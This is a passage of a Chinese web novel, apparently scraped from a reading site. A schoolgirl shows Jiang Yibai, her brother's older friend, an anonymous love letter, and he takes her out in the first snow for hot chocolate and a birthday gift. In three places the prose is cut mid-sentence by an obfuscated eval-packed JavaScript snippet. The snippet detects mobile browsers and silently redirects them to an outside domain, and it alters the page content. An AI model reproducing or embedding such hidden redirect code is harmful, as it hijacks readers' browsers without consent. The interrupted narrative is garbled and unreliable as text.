“有些事你觉得不方便和前面那位司机说,怕他泄密的话,可以和我说。我嘴巴严。” 葛朝越:“……” 葛思宁认真想了想自己的秘密。 发现都是不能和任何人说的。 尤其不能和江译白说。 但她还是很想行使这个权利。 于是在那个周末过完的下一个月,京都的天气已经转冷,需要穿上厚外套的季节,她尝试性地给江译白发了一条微信。 “收到了这个。” 她拍了照片发过去。 是一封匿名情书。 葛思宁点击发送以后,就立马把手机锁进抽屉里开始写作业。 因为如果不这样的话,她恐怕就没心情学习了。 情书是她在抽屉里发现的,被夹在练习册里,葛思宁不怎么用那本教辅,所以一直到今天才发现。 张月看到了,捂着嘴说太浪漫了吧,这个年代还有人写情书!还说手写信是很有诚意的表现。 然而葛思宁看着这个信封,心里想的却是自己的位置可能被人翻过。 她犯恶心,夹回书里不打算看,也不想追究何时何人。 张月比她积极,一直怂恿,每个课间都守着她、催她:“思宁思宁,你就看一看嘛,又耽误不了你多少时间,就当满足一下我的好奇心……” 葛思宁被烦得受不了,好几次想骂人,忍住了。后面直接丢给她,让她自己看。 结果等她写完一道证明题,抬头,张月都给感动哭了。 “哇塞,文艺青年爱上我……葛思宁,你艳福不浅啊!” 神经。 葛思宁接过她递来的信纸,草草扫了一眼。 首先,字很丑。 其次,废话连篇。 所谓文艺的部分,都是金句摘抄。葛思宁看过原著。 她跟张月说你那么想要就送你。 张月讪讪地摆手,似乎是终于看出了她的不悦,“不要不要。谢谢。我开玩笑的。” 学校会定期检查学生的课桌和储物柜,以免他们私藏电子设备,葛思宁为了不留后患,放学前把情书带回了家,打算撕了再扔。 但是一回到家,她突然有了别的想法。 计上心头,说干就干。 她捏着笔在默写文言文,力度比平时要紧,手里都是汗。 她在试探了。 - 江译白原本一直在等学校附近的公司的回复,但是没想到先收到了梦中情司的邀请。 唯一麻烦的地方在于住宿,实习单位离学校很远,甚至是跨区,每天的通勤费都快赶上租房的费用了。 葛朝越看了下那个地址,跟他说:“这个地方离我家就几站地铁,你介意的话,住我那?葛思宁一定很高兴。” 江译白拒绝了:“不好意思打扰你父母。” “你客气什么,干儿子。” 江译白又说了几次谢谢,但最终还是没同意。 他和葛朝越,甚至是葛家人关系虽然不错,但是还是要保持边界感。 这是教养问题。 葛朝越问他那咋办,“我实习的地方和你不在一起,不然还能和你合租。” 江译白说:“没事。” “刚好陈安远前几天和我开口,说舍友磨牙吵得他晚上睡不着。我公司离他们学校不算远,我折中租个房子。” “那费用?” “放心。” 江译白平时虽然比较节省,但是真有什么事,他也拿得出钱。 只是他不爱和别人讨论自己的私事,所以葛朝越一直刻板地以为他被家里人吸干了血。 他开玩笑说:“没钱了就继续给妹当家教。” 葛朝越呵呵道:“那你住我家岂不是更方便?” 江译白还真想了下这个可能性。 最后他得出结论:“有距离才有美。我可不想最后和思宁两看相厌,地位沦落成你。” “你他妈说的是不是人话?” 看好了房子,签了合同,也没什么要搬的。 只有陈安远这个死心眼的小孩比较棘手。 江译白加完班回家,还接了私活赚外快,没那么多功夫理他。 他下了晚自习给江译白打电话,江译白开门见山地说:“两室一厅,你住不住都是这个价钱。还是说你已经习惯磨牙的声音了?” “……” 僵持半晌,陈安远说:“我明天去跟班主任申请走读。” 江译白得到想要的答案,直接把电话挂了,连个哦都没说。 他这段时间连轴转,论文、搬家、入职,没有一件事是简单的,忙得要死。 生活和工作蹉跎人,他也会有失去耐心的时候。 等看到葛思宁的信息,已经是凌晨了。 江译白刚给电脑关机,仰头滴了两滴眼药水,在思考自己还能睡多久。 偏偏这时,企业微信突然弹出新消息。 他这才想起自己今天还没看过微信。 害怕错过一些学校的通知,江译白把手机捞过来查看。 他挑了需要回复的回复,连葛朝越和其他同学的一些消息都没点开,不用看都知道是些垃圾话,而他现在时间有限,恨不得一分钟掰成两半来用。 葛思宁的信息沉底了,他划到很下面才看到。 江译白点进去,还没看是什么内容,先打开界面把她置顶。 他虽然喜欢哄她,但不只是哄哄而已。 承诺过的事,江译白不会食言。 做完这些,江译白才打开她发来的图片。 昏暗的房间里,只有关掉了又重新开机的电脑在泛光。 江译白窝在转椅里,认真地浏览着这封情书。 五分钟后,他表情略显凝重地熄屏,暂时没有回复。 他看着部门主管发来的批阅,打开演示文稿开始按照评语修改。 至于葛思宁的事。 江译白认为,这很重要。 他需要找一个清闲一点时间,思考清楚了再回复。 - 葛思宁那天晚上睡得断断续续,一直到校门口都没有收到江译白的回复,她难掩失落地把手机交给送她上学的王安远,穿好外套背书包下车。 王远意在后面叫她她都没听见,直到爸爸下车把热牛奶塞她手里,她才反应过来自己走了这么久神。 王安远还带着暖意的手探了探葛思宁的额头,“怎么心不在焉的,是不是最近降温了,感冒了?” “没有。”葛思宁吸吸鼻子,不知道该怎么解释。 此时校门口陆续经过许多骑车来上学的学生,其中就有葛思宁他们班的人。 那几个人看见她,无一例外,都会回头看两眼。 葛思宁察觉到了,不知道为什么,但是她不好奇。 等到下午社团课,她拎着羽毛球拍要去球场上大杀四方之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282166|182139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 际,张月突然把她堵在更衣室门口。 葛思宁皱眉,“干嘛?” 张月神神秘秘的:“我今天居然听到了一些你的传言……” “什么传言?” “听说你爸是开宾利的?” “……” 葛思宁突然就明白那些目光为何而来了。 其实学校里不缺有钱人家的小孩,只是因为葛思宁成绩优异、平时又一副清高做派,所以有人格外关注她。 她背好运动包,打算待会下了社团直接回家洗澡,然后再回来上晚自习。 面对张月的话,葛思宁很诚实地说:“开了十几年了,不值什么钱的。” “那也是宾利啊!” 张月跟着她离开更衣室。 “而且我听她们说你爸爸特别爱你,你以前都是骑车或者坐公交来上学的,现在天气一冷,你爸就每天早起送你了?” 葛思宁:“被家长接送的学生比比皆是,你有空可以在上下学的时候站在校门口看看。” 张月被她噎了一下,有件事她本来觉得不是很礼貌,不想问的,这会儿被葛思宁一怼,负气地脱口而出。 “我听说,你们家是男主内女主外?思宁,你爸爸是全职煮夫吗?” 快到体育馆了,冬天的天黑得早,才四点半就灰蒙蒙的。 树上飘落一片凋零的树叶,葛思宁踩过。 她回头,脸色不虞。 “听谁说?” 张月从没见过她这样凌人的气场,让人不禁畏惧。 葛思宁也不指望从她嘴巴里得到答案。 她从来没有觉得王远意辞掉工作全心全意地照顾家庭有哪里不好。 很多家庭都是丧偶式教育,为人父母,但凡有一方缺席或是逃避责任,于家庭于孩子来说都是极其不利的。 她父母只是做了最好的选择。 但是葛思宁没有把这些话说给张月听。 她生气只是因为别人诋毁王远意,不代表她真的在乎。 已经走到体育馆门口了,葛思宁冷冷地问。 “你还要跟着我吗?” 张月一愣,站在原地,呆了几秒才摇头。 她后知后觉葛思宁的不悦,也不知道是天生反射弧长还是情商低。 “没有……我就是……” 葛思宁没心情听她的解释,直接转身就走。 - 社团结束以后葛思宁直接去校门口,王远意的车已经停在那里了。 高一不用上晚自习,正值放学和饭点,学校附近的交通情况特别糟糕。 天气冷了,很多家长都开车来,稍微晚点就占不到停车位。 葛思宁轻而易举地找到了王远意,他停的位置很好,可见他很早就来了。 她拉开车门,里面已经开好了暖气。 葛思宁裹紧外套上车,问:“不是说了不用那么早来吗,你在车上等这么久不累啊?” 王远意听她关好门,从副驾驶把充好电的手机递给她。 “不早,我差不多五点才到。” 葛思宁接过,开机。 王远意从来不动她的手机,有时候看到信息还会帮她熄屏。 他真的是个很好的爸爸。 葛思宁想到张月那些略带恶意的话,突然觉得很委屈。 “可我六点才下课。” “也就一个小时左右。” “我不管,你下次不准这么早来了。” “那爸爸在家也没什么事情做,早点来好停车。” 自从葛思宁上高中,尤其是今年上晚自习上到九点、在家的时间大大减少以后,王远意的生活就开始变得空虚。每天除了做做饭,养养花草和金鱼,几乎没有别的事情可以消遣。 但外人眼里的清闲,其实来之不易。 回去的路上,天已经黑透了。 葛思宁没有玩手机,靠着车窗把脸埋在围巾里小憩。 王远意在前面边开车边回忆:“以前你刚上初中,小越上高三的时候,那才是真的一点空都没有。你哥懒,嘴又刁,每天都要人送汤送饭。你那时候还抱怨爸爸不能每天来接你,不能让你回家就吃上热饭,甚至问我是不是只关心哥哥不关心你,你忘记了?” “……所以后来家里请了阿姨。”葛思宁记得。 “是啊。”王远意叹口气,“但是把孩子交给别人,我总是不放心的。” “现在哥哥要工作了,爸爸只要操心你一个人就够了,你不是一直想要爸爸围着你转吗?” 葛思宁沉默。 霓虹灯闪,她看得眼睛痛。 车内连音乐都没有,气氛有些凝结,像松上冰晶,也像王远意停滞在某个阶段,仿佛再无其他季节的人生。 她斗胆开口。 “爸,等我上了大学,你有没有想过回去上班?” 她知道以王远意的学历有很多单位抢着要,葛思宁一直像感谢葛天舒的馈赠一样感谢他的牺牲。所以如果有一天,父母想要做出改变,葛思宁支持他们做的任何决定。哪怕她和哥哥会因此辛苦一点也没关系。 可王远意先是疑惑地“嗯?”了一声,然后略作思索,最后只当她在开玩笑。 “你上了大学,哥哥估计差不多要结婚了吧。” 葛思宁否认:“不会的,他那个性格,鬼嫁给他。不对,鬼都不嫁给他。” 王远意低低地笑了两声。 “那你呢?你上了大学,就不用我操心了?” 她又没这么说。 葛思宁托着下巴,“我会学会照顾我自己的。” “那还有妈妈呀,我要照顾妈妈呀。” 葛思宁在后视镜里看到王远意被车水马龙映照得忽明忽暗的双眸。 他说起家人的时候,眼里总是沁着一层温柔和湿意。 可惜,这个家里没有一个孩子像他。 无论是葛朝越,还是遗传了王远意的文雅、敏感的葛思宁,都有一双倔强的眼睛。 18.第 18 章 葛思宁在那周的最后一天收到了江译白的回复。 那时她正趴在床上占卜自己最近的运势,塔罗牌说她最近桃花运很差,如果有喜欢的对象,建议最近暂时不要出手。 葛思宁看着牌面,心都快沉到底了。 有必要这么准吗? 那已经出手了怎么办? 才想着,微信就进来了。 她以为是微信推送,结果是江译白。 葛思宁一下子坐起来,可是还没点开,就又趴了回去。 他回了? 还是假装没看到,要和她说别的事? 如果回了,会回什么,又为什么这么晚回? 如果是装没看到,江译白又是因为什么找她? 葛思宁突然想起江译白以前也是这样。 葛朝越明明经常和他说自己的事,他的反应谈不上冷淡,但是也不殷勤。有时候葛思宁要等好几天甚至一两周才能等来他的关心,不知道还以为他们之间存在几百个小时的时差。 她不知道江译白是不想回还是没空回,也不知道他们这个岁数的大人整天都在做些什么。 可供参考的葛朝越和陈锐在她看来都闲得不得了,所以她一开始也理所当然地认为江译白也很闲。 直到上次听葛朝越说他同时打好几份工,葛思宁才了解到,他是真的忙。 那这次也是吧? 她自我安慰地点开他的消息。 葛思宁的瞳孔微微放大,难以置信自己看到了什么。 江译白没有就她收到的情书做出回复。 但是他约了她见面。 [100]:下雪了。 [100]:你要不要出来打雪仗? - 那是那一年的初雪。 葛思宁记得很清楚。 而且再过两天就是她的生日。 这场雪来得很及时,让她在十六岁最后的时间里再次见到了江译白。而且是单独的。 没有哥哥,没有任何其他的人,只有她和他。 葛思宁连他为什么来的原因都没有问,套上羽绒服就匆匆下楼,王远意听到动静问她是不是要出门,葛思宁拿上围巾就跑:“对!” 少见她如此激动慌张,王远意嘀咕了几句,打开手机给她转了五百块钱,还发了句注意安全。 葛思宁却连他的信息都没点开,根据江译白发过来的坐标,跟着地图走。目的地在她家附近一个偏僻的公园里。 公园归属于老小区,除了四周的原住民几乎不会有人来。 葛思宁不知道江译白为什么会在这里堆雪人,不过当下她没心情多想。 她远远就看到他的背影,心跳漏了一拍,下意识的反应居然是逃避。 葛思宁站在比她稍微高一点的盆景后面捋了捋刘海和围巾,平息好呼吸,才朝那个正在帮两个小朋友做雪人手臂的人走去。 走到他三米开外的椅子上,葛思宁突然停下了脚步。 细细密密的雪花飘落在衣服和头顶,明明应该觉得刺骨的天气,她的脸却在寒风中逐渐发烫——这实在太诡异了,简直有悖常理,和江译白的行为一样。 葛思宁的第六感作祟,她意识到她猜错了。他或许不是顺路,而是专门来找她的。 这个认知让葛思宁张皇。 这是他们认识这么久以来第一次私下见面,她就这样毫不矜持地答应了,还这么快就到了,会不会有点太明显了? 于是葛思宁插着兜,选择停靠。坐在椅子上看他。 其中一个戴红色毛线帽,帽顶还缀着一颗毛绒团子的孩子一直在往这边看,眼神好奇。 葛思宁朝她比了个嘘的手势,小女孩点点头。 葛思宁那口气都还没松,就听到小女孩大喊:“哥哥!有个姐姐一直在偷看你!” 什么! 葛思宁咬唇,刻意躲避了江译白回头时的目光,反驳道:“我哪有偷看?我只是坐在这里,观察你们怎么堆雪人而已。” 小女孩:“可是你明明……” 她还没说完,江译白就站起来,走向葛思宁。 小女孩一下明白他们是认识的,很乖地闭嘴了。 但是被她这么背叛,江译白在她旁边坐下,葛思宁立马如坐针毡。 他伸手扫落了她肩膀上的雪。 “没带伞?” “……没。” “帽子也没戴。” 葛思宁拍了拍头顶,“忘了。” 其实是出门太急了。 她其实不是很在乎,她头发厚,没感觉。 只是既然江译白说了,她就随手拍几下。 倒是他看她如此敷衍,抬手替她仔细捻去了几颗雪粒。 突然狂风大作,雪人的鼻子被吹掉了。 楼上的居民楼有人在喊名字,是在叫楼下的小孩回家。 溜滑梯和秋千上的人都走了。 绿色的波波球掉在地上,小男孩捡起来,被小女孩抢走,拿到江译白面前来献宝。 江译白的手本来也插在兜里,见状伸出来:“要送给我啊?” “嗯!”小女孩点头,“谢谢哥哥帮我们堆雪人。不过我们要回家了。” “谢谢。” 江译白接过,放进口袋里,态度特别诚恳,好像收到的不是波波球,而是灵珠。 “马上就要下大雪了,哥哥你也快回去吧。” 小女孩说这句话的时候看着葛思宁,似乎意有所指,好像她是什么坏人。 葛思宁:? 江译白看到了,从喉咙里发出一声意味不明的笑,说:“好。现在就走。” 小女孩放心地跑了。 他说走就走,果真站起来,葛思宁却还坐着。 江译白朝她伸手。 “没想到雪会突然下得这么大。附近有家咖啡店,我请你喝热可可?顺便和你说点事情。” 葛思宁心里一咯噔,心想果然是在这里等着她。 她唯唯诺诺地跟在江译白身后,看他熟稔地穿过大街小巷,心里回忆着他在这片街区所待的时间,拼拼凑凑总共也就两三个月,他却能摸清每一条窄路小径,并且记忆犹清。 江译白推开门的时候,回头看了一眼葛思宁。 他保持着推门的动作,身体微微倾斜,意思是:你先进去。 葛思宁进去了,但是站在门口不动。 “你随便找位置坐。喝什么?” “不是说热可可吗?” “也可以是别的。” 葛思宁弯下腰在前台看菜单,后面有标价。 家里每个星期会给她三百零用。 但她昨晚打开淘宝,买了几卷胶带。 ……下单一时爽,买单火葬场。 葛思宁半晌没做出决定,是在思考还有多少余额。 结果江译白看她一副难以启齿的样子,误以为她是不好意思。 他弯腰跟葛思宁一起看。 “选择恐惧症?” 葛思宁被他吓了一跳,偏头入目就是一张极具冲击性的帅脸,吓得她心脏乱跳。 店员闻言,适时地开口推荐:“这个季节很适合喝我们家的抹茶巧克力牛乳哦!下初雪的这天用香醇丝滑的巧克力,搭配抹茶的微涩,再合适不过了。” 葛思宁在菜单上迅速找到这个菜品,后面写着:32元。 怎么不去抢! 她抿着唇,想说自己要一块丹麦曲奇就好。 那个只要八块。 结果江译白比她快,几乎是店员一说完,他就站直点头,掏出手机扫码。 “那要一杯抹茶巧克力牛乳,再要一杯拿铁。对了,今天有什么蛋糕?” 店员指了下旁边泛着暖光的橱柜,介绍。 江译白问:“思宁,要吃什么?” “……” 她视死如归地说:“我没带钱。” 江译白愣了一下,在店员八卦的目光里无奈地重复。 “来之前不是说了我请吗?” 坐到位置上,葛思宁整个人都很不美妙。 如果说出门的时候她还是一只高声吟唱的山雀,那此时她就变成了一只落汤鸡。 因为刚才江译白付钱的时候,前台的收款系统发出了语音提示,好大声的一句“微信转账一百一十六元”,葛思宁听完直接变了脸色。 江译白看得一清二楚。 于是问她:“你是不是对我有什么误解?” 觉得占了他便宜,又觉得价格黑心的葛思宁:“嗯?” “在你心里,我原来是个连请妹妹吃东西的钱都没有的穷光蛋吗?” 葛思宁被他的问题震惊了,因为这完全是一场污蔑! 所以她暂时失声了,等坐下来了才找回声带,急急解释:“我没有觉得你很穷。我只是觉得自己的那份应该自己付。但是我这个星期的零花钱已经用光了……嗯,所以……而且,这家店好贵。” 江译白当然只是开玩笑,现在听她一本正经的解释,心里倒是生出几分自怜来。 在葛思宁心里,他应该是不一样的。 这个不一样是指,家境不一样。 江译白想,葛思宁跟陈锐他们出来的话,应该不会这么小心翼翼。 思及此,他叹了口气。 葛思宁听到了,恨不得能长出十张嘴巴。 店员在此时端来餐品,并提醒她:“小姐姐,你可以把羽绒服脱下来哟。” “哦哦。”葛思宁才意识到暖气有点热了。 长款的外套被她折起来放到一边,葛思宁里面穿了一件黑色毛衣,下半身配的是深蓝色的刺绣牛仔裤。 江译白看到了。 他有些惊讶,“我还以为这条裤子被你丢掉了。” 葛思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288905|182139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁说:“没有。” 一年四季都挂在她的衣柜里,提醒着她自己,不要懈怠。 她小声道:“不过也是前几个月才穿上的,感觉都短了。” 好在当时买的是拖地款,虽然被葛朝越嘲笑过她偷穿大人的衣服。 江译白摇头,“很好看。” 搭配雪地靴,遮不住脚踝也没关系。 被他简单地夸了一句,葛思宁感觉自己脸红了。 她端起玻璃雕花杯假装喝东西,抹茶的苦和巧克力的苦融合在一起,但是喝到嘴里是甜的,暖意流通肺腑。 其实她觉得这条裤子已经过时了。 只是想到是来见他,所以才穿的。 葛思宁费尽心机地突显自己的变化,是想以此来提醒江译白,她在长大。 “不过穿牛仔裤会不会有点冷了?”江译白操心的却是这个问题。他想到陈安远每天为了耍酷,就在校服外面套一件夹克,皱眉问,“你们这个年纪是不是都有点……要风度不要温度?” 葛思宁以为他在暗指自己不戴帽子的事。 她瞥了眼江译白搭在椅背后面的大衣,嘀咕道:“你自己不也是……” “嗯?” “我说没有。”她坐直了,“我上学都穿很多的。” 江译白又不是聋子。 但他不会让葛思宁尴尬,所以跳过了这个话题。 不等他叮嘱注意保暖,葛思宁就迫不及待地想知道:“你今天找我是有什么事吗?你又为什么会从学校跑到公园里?” 闻言江译白放下咖啡杯。 “是为了送生日礼物给你。”他从大衣的口袋里掏出一个小盒子,“我记得你的生日要到了,但是前几天一直空不出时间。再加上你要上学,所以我就打算周末过来一趟。没想到来的时候竟然下雪了,所以才会问你,要不要打雪仗。” 他回避了从学校过来的这个细节。 江译白把盒子放在桌上,手指轻抬,推到葛思宁面前。 虽然没有购物袋,但是盒子包装得很精美,上面还系着丝带。 葛思宁一时没伸手,而是语气古怪地问。 “为什么是今年?” “什么?”他一时没听懂。 “去年你都没有送我礼物,为什么是今年?” 听江译白的话茬,显然是早就知道她什么时候生日了。 虽然葛思宁不清楚是他问的还是葛朝越说的,但是既然他之前就知道,那为什么之前不送? 江译白看她欲盖弥彰地拿起叉子开始挖蛋糕,就是不接礼物,面露为难地解释。 “你不是不喜欢别人送你礼物,也不喜欢过生日吗?” “……” 葛思宁把蛋糕喂进嘴里,心里暗暗一动,没想到他连这一点都打听清楚了——她确实不收礼物,也不过生日,但不是因为不喜欢。 而是因为早年葛天舒总是把她的生日布置成人脉交流会,借她最期待的日子将礼物变成一种人情来往。 明明是生日,可“庆祝”却沦为了最不重要的事。 所以葛思宁干脆不过了。 每年只给亲近的人祝福她的机会。 葛思宁的眼珠动了动,舔掉叉子上的奶油,什么也没说,但是伸手把盒子拿了过来。 江译白就知道误会解除了,从善如流地说:“那我先在这里预祝思宁生日快乐。希望你的十七岁,可以无忧无虑,平安健康。” 葛思宁心里哼了一声,刚才的尴尬和羞恼全都消散了。 她紧追不舍:“你还是没回答我为什么是今年。” 她想听江译白说那个答案。 无忧无虑是不可能的,她学习压力大着呢。 所以比起这些空话,葛思宁更希望从他口中得到一个确认。 他们关系更进一步的确认。 江译白也很坦然:“你之前说你把我分到亲人的分组里,我很感动。所以,我想我对你来说也算亲近的人吧?那我给你送礼物,你应该就不会觉得冒犯了。” 对对对!就是这样! 葛思宁非常受用。 她心里在咆哮,面上淡定如斯。 “嗯……其实我那个亲人的分组里挺多人的。你不介意吧?” 江译白笑笑,“不介意。” “能看到你的朋友圈就好。” “……” 这事怎么就过不去了! 葛思宁白了他一眼,低头又换上笑容,笑嘻嘻地开始拆礼物。 她边拆,江译白边说:“其实分组只是形式。让我真正意识到你信任我这件事,是你和我分享了你的心事。” 葛思宁动作一顿,僵硬抬头:“什么?” 她怎么不记得她和江译白说过…… 不等她搜寻相关记忆,江译白就把那张情书的照片放到她眼前。 “思宁,你恋爱了?” 19.第 19 章 银质叉子在花瓣形状的碟子上一划,发出异常尖锐,却极其轻微的一声。 江译白琥珀似的瞳仁里倒映出葛思宁僵滞的表情。 葛思宁确定他没听到这声动静,只有她自己听见了——这是她心里某个东西撕裂的声音。 比如羞耻心,比如胜负欲。 她眨了眨眼,企图将离家出走了十几秒的理智抓回来。 而他们之间也沉默了十几秒。 葛思宁腾地站了起来,脸上带着愠怒和难以置信。她的声音里藏着破碎的颤抖和急于澄清的迫切,以至于听起来十分激昂。 “你在开什么玩笑?” “我?和写情书的这个男的?” “拜托!这怎么可能?!你看看他写的字,跟狗在纸上爬一样。人家都说字如其人,就凭这个字我就能想象出他这个人有多邋遢、潦草、不修边幅。还有!他写的这些词句,你都不觉得熟悉吗?你没读过莎士比亚吗?在某个小说网站,引用原著超过25个字却没标注,就会被人当成抄袭!他这是妥妥的抄袭犯啊,写情书都没有心意的人,得到了就更不会用心了。” 江译白在她站起来的时候,微微皱了下眉。 表情从和煦变至严肃,颇有种大家长想和孩子心平气和地谈谈,结果对方直接造反的无奈。 现在听她说到这里,他的表情还是没有任何松懈。 葛思宁眉心一跳,不知道为什么有点害怕他这幅样子。 早恋本来就是青春期的禁忌话题,江译白已经尽量温和地提及了,想必是看在葛思宁坦诚的份上。 她原本撑着双臂压着桌子向他解释的动作变了,是意识到自己的态度有些应激。 尽管这是个误会,但如此激愤,倒显得她此地无银三百两。 她看着江译白的眼睛,声音变小了,解释也不那么情绪化了。 “总之,我没谈恋爱,是别人单方面喜欢我。我不知道他是谁,也不知道他为什么喜欢我……和你说,是因为,我想知道……”葛思宁一开始还很有底气,可越说到后面,她就越难以启齿。因为这些话半真半假。她希望江译白别看出她的破绽,又害怕江译白当真了,“我想知道,别人为什么会喜欢我。” 说到最后,她垂下了眼睛。 情书这件事其实有很多后续。 比如张月连着两天都在她耳边念叨,但凡有个男的从窗边经过多看了她两眼,张月都要“阴谋论”。 比如这个文艺男孩疑似她隔壁班的四眼仔,平时和葛思宁没什么交集,但是他们一起参加过英语演讲比赛。 这些人和事,葛思宁统统都不在乎。 与其说她想知道“别人为什么会喜欢我”,不如说,她想知道“如果你喜欢我你会喜欢我什么”。 至于这个“你”,现在正坐在她的对立面,隔着一张光可鉴人的玻璃桌,用一双含笑的眼眸勾人地注视着她。 葛思宁很心动。 但是又很快察觉出不对。 他怎么变脸变得这么快? 电光火石之间,葛思宁观察到他因为轻笑而漾起来的眼睫,像振翅的蝴蝶一样掠过她的心头,带起一阵泛麻的酥痒。 他诈她! “思宁。” 江译白接下来说的话直接证实了葛思宁的猜想。 “收到你的信息的时候,我没有回,是因为我觉得这件事情很重要,我需要慎重考虑、慎重回复。我不知道在现在的你心里,爱情是什么样的,也不知道异性这种表达爱情的方式是否会令你感动。所以我和你开了个玩笑,想要了解你心里对‘追求’的标准,希望你别因此而生气。” 葛思宁瞬间败下阵来。 他就是有这样的能力,明明就怀有戏弄她的心思,但因为关心的成分更多,所以让人无法追究。 江译白一手支着脑袋,一手端着咖啡杯。 那个小巧玲珑的杯子在他手里变得更加袖珍,葛思宁不是第一次偷窥他的手,但还是第一次不怕被他抓到自己的眼神。因为她现在有充分的理由来假装自己不敢看他的眼睛,以至于她可以光明正大地看他的手。 他身形修长,比例优越,手臂和手指自然也不会差。 脱掉的大衣里面穿的是黑色打底衣,贴身的材质裹出他日渐壮硕的肌肉线条,胸口鼓囊囊的,略有崩坏之势。 可到腰部又陡然收敛,线条变窄,窄得性感,窄得葛思宁觉得自己的双臂可以轻松将其环起来。 窗外在下雪,他在思索。 葛思宁的视线慢慢往上爬。 江译白的短暂沉默令她变得大胆。 她借着日光和雪色将他看透,连同皮肤下暗藏的血管都想一一笑纳。 葛思宁知道,他此时在想的是,该如何跟眼前这个即将迎来十七岁的少女解释爱情,又该如何引导她走向正确的道路,以此来遏制她误入歧途的可能。 可她却在他的苦恼中将他拆解,剥落,借他的出神将他放肆吞噬。 葛思宁看得入迷了。 她好想告诉江译白,你不用说了,已经晚了。 她已经走上了无法回头的不归路。 雪越下越大了,窗外陆续有行色匆匆的路人经过。他们有的带了伞,所以脚步悠闲;有的连衣服都没穿够,哆嗦着打了个喷嚏,小跑着前进;有的被橱窗里温暖的光芒吸引,推开了这扇门,问店员要了一条干净的毛巾,还有一杯热饮,经过他们的时候,还多看了两眼。 葛思宁的蛋糕快吃完,江译白问她还要不要。 她摇摇头。 也是在这个时刻,他似乎是终于想好了说辞,开口了。 “思宁,关于你的问题,‘为什么别人会喜欢我’这件事,我有我的理解,可能不太准确,但是你愿意听一听吗?” “当然。” “你有很多值得别人喜欢的地方,但你似乎一直都不知道。并不是只有符合世俗意义的优点才是优点。就拿性格来说,那些能够令你免受伤害,过得开心、洒脱的特点,哪怕会被人说成是小气、自私、脾气差,也不妨碍这些是优点。而且对于你来说,这些优点保护了你自己,让你少受了很多委屈,让你的情绪得以发泄,在某种程度上促使你成为一个‘爱自己’的人。你知道吗?爱自己这件事并不是每个人都有意识,更不是每个人都能做到。你是稀少的一部分。 “所以这样珍贵的你,被别人喜欢,又有什么可奇怪的呢?” 勺柄被葛思宁捏得温热。 在江译白开口之前,她以为他会说“你很好”,然后列举一大堆她或许根本不存在、只是伪装出来的优点。或者是拿她这两年的变化来举例,比如变好的成绩、身材、皮肤……然而这些后天才拥有的一切,都不是原本的她。 可原来在他眼里,竟然是这样想她的。 就连她自己都会偶尔反思、唾弃的部分,在他看来,也是可以被夸奖、被喜欢的。 江译白把杯子放下,杯底在碟子上发出轻轻的接触声,像极了葛思宁此刻的心声。 那是一阵宛如教堂钟声般悦耳的回响。 江译白提起之前的一件小事。 他不知道葛思宁还记不记得,于是简要地复述了一下。 他说:“我刚才说的话,也是对你质问的回应。” 那天葛思宁问他,在他心里她的性格到底是有多不好,所以他才会总是问自己,是不是不开心,是不是在生气。 而今天他说,他觉得这些小脾气也是优点。 葛思宁哑口无言。 她的双手因为羞怯而缩到桌下,她突然意识到自己跟眼前的男人完全不在一个段位上。她以为自己的小心机滴水不漏,实则是只要他想,他就可以从她口中套出实话。 因为她喜欢他,所以他在拥有比她成熟一百倍的心智的同时,也拥有操控她情绪、牵着她鼻子走的能力。 手指紧紧地勾缠在一起,葛思宁最后小声说。 “你忘了吧。” “嗯?” “无论是情书的事,还是之前……质问的事。” 太幼稚了。 而葛思宁一直都想将好的那一面给他。 彼时她单纯地认为,好的定义即是成熟。 所以这些不成熟的试探,葛思宁希望他忘掉。 雪停了,江译白送她回去。 路上,葛思宁放在口袋里的手一直在摩挲那个小盒子。 她没有当着江译白的面打开,因为她现在没有精力去应付他给的惊喜。 他做的任何事情在葛思宁这里都意义非凡。 哪怕打开盒子里面只是一个塑料玩具,葛思宁也会觉得异常新鲜。 而她暂时不想,也不敢被江译白察觉她的盲目。 沿着联排别墅的小路一直走,这个季节的风闻起来就很绝情。 街边堆满了积雪,化了不少。 江译白有些遗憾地说:“下次再来打雪仗吧。” 快到家门口了,他突然站定。 葛思宁一直在踩他影子,所以这会儿虽然思绪游离,但是条件反射让她跟着停下了。 路灯高悬在头顶,铺落一层暗淡的光芒,可是照在他身上的时候,却像极了舞台中央的聚光灯。 葛思宁看着那张她垂涎的嘴唇轻启,再次郑重地祝她,生日快乐。 她嗯了一声。 江译白在等她的下文。 葛思宁的心跳变得异常平静,她终于发现了江译白脸上的疲色。 心上泛起抽搐般的狰狞感,她想这种感觉应该叫‘心疼’。 “哥哥。” “嗯?” “我很害怕。” “害怕什么?”江译白有些意外,他们的上一个话题还停留在葛思宁即将到来的十七岁。所以他猜葛思宁害怕的是快速飞逝的时间。他开了个玩笑,企图逗乐她,“害怕接下来的月考吗?” 葛思宁一怔。 月考这件事,她发过朋友圈。 是在情书照片发给江译白,却没得到回复后,欲盖弥彰的一种掩饰行为。 她看到了江译白的点赞,但没想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 